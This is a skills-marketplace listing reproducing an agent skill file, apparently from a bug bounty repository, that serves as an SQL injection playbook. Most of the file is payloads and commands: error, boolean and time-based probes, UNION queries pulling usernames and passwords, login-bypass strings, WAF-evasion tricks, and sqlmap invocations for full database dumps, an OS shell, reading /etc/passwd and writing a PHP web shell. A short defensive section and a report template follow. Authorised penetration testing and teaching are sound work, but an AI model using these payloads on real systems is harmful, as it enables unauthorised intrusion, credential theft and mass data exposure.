agentsclimarketplace

Sqli manual and automated

Skill ShulkwiSEC/bb-huge/skills/curated/sqli-manual-and-automated

bb-huge πŸ€— , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

Install
npx -y skills add ShulkwiSEC/bb-huge --skill sqli-manual-and-automated

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Detect and exploit SQL injection vulnerabilities using both manual techniques and automated tools. Use this skill when testing web applications for database injection flaws including UNION-based, error-based, blind boolean, blind time-based, and out-of-band SQL injection. Covers WAF bypass, second-order SQLi, authentication bypass, and full database extraction with sqlmap.

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

9.3 KB, ~2.2k tokens by cl100k_base, as published. Nobody here has run it

SQL Injection β€” Manual & Automated

When to Use

  • When testing web applications that interact with SQL databases
  • When user input is reflected in database queries (search, login, filters, sorting)
  • When you see database error messages in application responses
  • When testing API endpoints that accept structured query parameters
  • When login forms don't use parameterized queries

Prerequisites

  • Burp Suite Pro/Community for request interception
  • sqlmap for automated injection and extraction
  • Understanding of SQL syntax (MySQL, PostgreSQL, MSSQL, Oracle)
  • Target must use a SQL database backend

Workflow

Phase 1: Detection & Fingerprinting

# Step 1: Inject special chars to trigger errors
# Single quote (most common)
https://target.com/product?id=1'

# Double quote
https://target.com/product?id=1"

# Semicolon (query stacking)
https://target.com/product?id=1;

# Comment markers
https://target.com/product?id=1--
https://target.com/product?id=1#

# Step 2: Boolean-based detection
# True condition (should return normal page):
https://target.com/product?id=1 AND 1=1
# False condition (should return different/empty page):
https://target.com/product?id=1 AND 1=2

# If responses differ β†’ SQL injection confirmed

# Step 3: Time-based detection (for blind SQLi)
# MySQL:
https://target.com/product?id=1 AND SLEEP(5)--
# MSSQL:
https://target.com/product?id=1; WAITFOR DELAY '0:0:5'--
# PostgreSQL:
https://target.com/product?id=1; SELECT pg_sleep(5)--

# Step 4: Database fingerprinting
# MySQL:  SELECT @@version
# MSSQL:  SELECT @@version
# Oracle: SELECT banner FROM v$version
# PostgreSQL: SELECT version()

Phase 2: UNION-based Extraction

-- Step 1: Find number of columns
ORDER BY 1--    -- OK
ORDER BY 2--    -- OK
ORDER BY 3--    -- ERROR β†’ 2 columns

-- Step 2: Find displayable columns
UNION SELECT NULL,NULL--
UNION SELECT 'a',NULL--
UNION SELECT NULL,'a'--

-- Step 3: Extract database info
-- MySQL:
UNION SELECT @@version, database()--
UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
UNION SELECT username,password FROM users--

-- PostgreSQL:
UNION SELECT version(), current_database()--
UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='public'--

-- MSSQL:
UNION SELECT @@version, DB_NAME()--
UNION SELECT name,NULL FROM sysobjects WHERE xtype='U'--

-- Oracle:
UNION SELECT banner,NULL FROM v$version--
UNION SELECT table_name,NULL FROM all_tables--

Phase 3: Blind Extraction

-- Boolean-based blind (extract data char by char)
-- Extract database name character 1:
AND (SELECT SUBSTRING(database(),1,1))='a'--
AND (SELECT SUBSTRING(database(),1,1))='b'--
-- ... continue until response changes

-- Binary search (faster):
AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 64--   -- m or higher?
AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 96--   -- a-z range?
AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 112--  -- p or higher?
-- Narrow down to exact character

-- Time-based blind:
AND IF((SELECT SUBSTRING(database(),1,1))='a', SLEEP(3), 0)--
AND IF((SELECT SUBSTRING(database(),1,1))='s', SLEEP(3), 0)--

Phase 4: Authentication Bypass

-- Classic login bypass
-- Username field:
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
') OR ('1'='1
admin' OR '1'='1'#

-- Password field:
' OR '1'='1'--
anything' OR '1'='1'--

-- Combined (username: admin'--, password: anything)
-- Query becomes: SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check is commented out

-- Advanced bypass:
' UNION SELECT 1,'admin','password_hash' FROM dual--

Phase 5: Automated Exploitation with sqlmap

# Basic scan
sqlmap -u "https://target.com/product?id=1" --batch --dbs

# With authentication
sqlmap -u "https://target.com/product?id=1" \
  --cookie="session=abc123" \
  --batch --dbs

# From Burp request file (most reliable)
sqlmap -r request.txt --batch --dbs

# Full database dump
sqlmap -r request.txt --batch -D target_db --tables
sqlmap -r request.txt --batch -D target_db -T users --dump

# WAF bypass
sqlmap -r request.txt --batch --tamper=space2comment,between,randomcase \
  --random-agent --delay=2

# OS shell (if stacked queries + file privileges)
sqlmap -r request.txt --batch --os-shell

# File read/write
sqlmap -r request.txt --batch --file-read="/etc/passwd"
sqlmap -r request.txt --batch --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# POST parameter
sqlmap -u "https://target.com/login" \
  --data="username=admin&password=test" \
  -p username --batch --dbs

# Increase risk and level for thorough testing
sqlmap -r request.txt --batch --level=5 --risk=3 --dbs

Phase 6: WAF Bypass Techniques

-- Space alternatives
/**/SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users   -- Tab
SELECT%0Ausername%0AFROM%0Ausers   -- Newline

-- Case manipulation
SeLeCt UsErNaMe FrOm UsErS

-- Double encoding
%2527 β†’ %27 β†’ '

-- Null bytes
%00' OR 1=1--

-- Comment injection
UN/**/ION SE/**/LECT

-- HPP (HTTP Parameter Pollution)
?id=1&id=UNION&id=SELECT

-- Chunk transfer encoding (in POST body)

-- Using sqlmap tampers:
sqlmap -r r.txt --tamper=apostrophemask,between,charencode,equaltolike,greatest,halfversionedmorekeywords,modsecurityversioned,percentage,randomcase,space2comment,space2dash,space2mssqlblank,space2mysqldash,unionalltounion,unmagicquotes

πŸ”΅ Blue Team Detection

  • Parameterized queries: Use prepared statements β€” NEVER concatenate user input into SQL
  • WAF rules: Detect common SQLi patterns (UNION SELECT, OR 1=1, SLEEP(), etc.)
  • Input validation: Whitelist expected characters (numeric IDs should only accept digits)
  • Database monitoring: Alert on unusual queries, mass data extraction, or schema enumeration
  • Least privilege: Database user should have minimum required permissions
  • Error handling: Never expose raw database errors to users

Key Concepts

ConceptDescription
UNION injectionCombining attacker's SELECT with original query to extract data
Error-basedForcing database errors that reveal data in error messages
Boolean blindInferring data through true/false application behavior differences
Time-based blindInferring data through delayed response times
Out-of-bandExfiltrating data via DNS or HTTP to attacker-controlled server
Stacked queriesExecuting multiple SQL statements separated by semicolons
Second-order SQLiPayload stored first, then executed when used in a different query

Output Format

SQL Injection Report
====================
Title: UNION-based SQL Injection in Product Search
Severity: CRITICAL (CVSS 9.8)
Endpoint: GET /api/products?category=
Parameter: category
DBMS: MySQL 8.0.32

Extracted Data:
- Database: production_db
- Tables: users, orders, payments, sessions
- Users table: 45,000 records (username, email, password_hash, role)
- Payment table: Credit card data (PCI violation)

Impact:
- Full database compromise
- PII/PCI data exposure for 45,000 users
- Potential for OS command execution via INTO OUTFILE
- Authentication bypass confirmed

Remediation:
1. Use parameterized queries / prepared statements
2. Implement input validation (whitelist allowed characters)
3. Apply principle of least privilege to database users
4. Deploy WAF rules for SQL injection detection
5. Remove verbose error messages from production

πŸ“š Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

Gives 0 of the 12 instructions most databases sql skills give in ~2.2k tokens

Counted across 589 of the 662 authors here whose files we hold, read 2026-08-06

  • use parameterized queriesin 36 of 589, across 32 files
  • use timestamptz for timestampsin 30 of 589, across 12 files
  • create indexes concurrentlyin 29 of 589, across 23 files
  • index foreign keysin 28 of 589, across 17 files
  • use numeric type for moneyin 25 of 589, across 8 files
  • select only required columnsin 24 of 589, across 19 files
  • use cursor pagination instead of OFFSETin 23 of 589, across 15 files
  • add indexes manually on foreign key columnsin 22 of 589, across 11 files
  • read individual rule files for detailed explanationsin 18 of 589, across 4 files
  • configure connection poolingin 18 of 589, across 16 files
  • put equality columns before range columns in indexesin 17 of 589, across 9 files
  • normalize to third normal formin 17 of 589, across 8 files

Said here and by no other author read

  • use boolean conditions to confirm injection
  • determine column count using order by
  • attempt authentication bypass on login forms
  • run sqlmap for automated extraction
  • generate a sql injection report

Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once. Length counted with cl100k_base; the agent that loads this file may tokenize it differently.

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.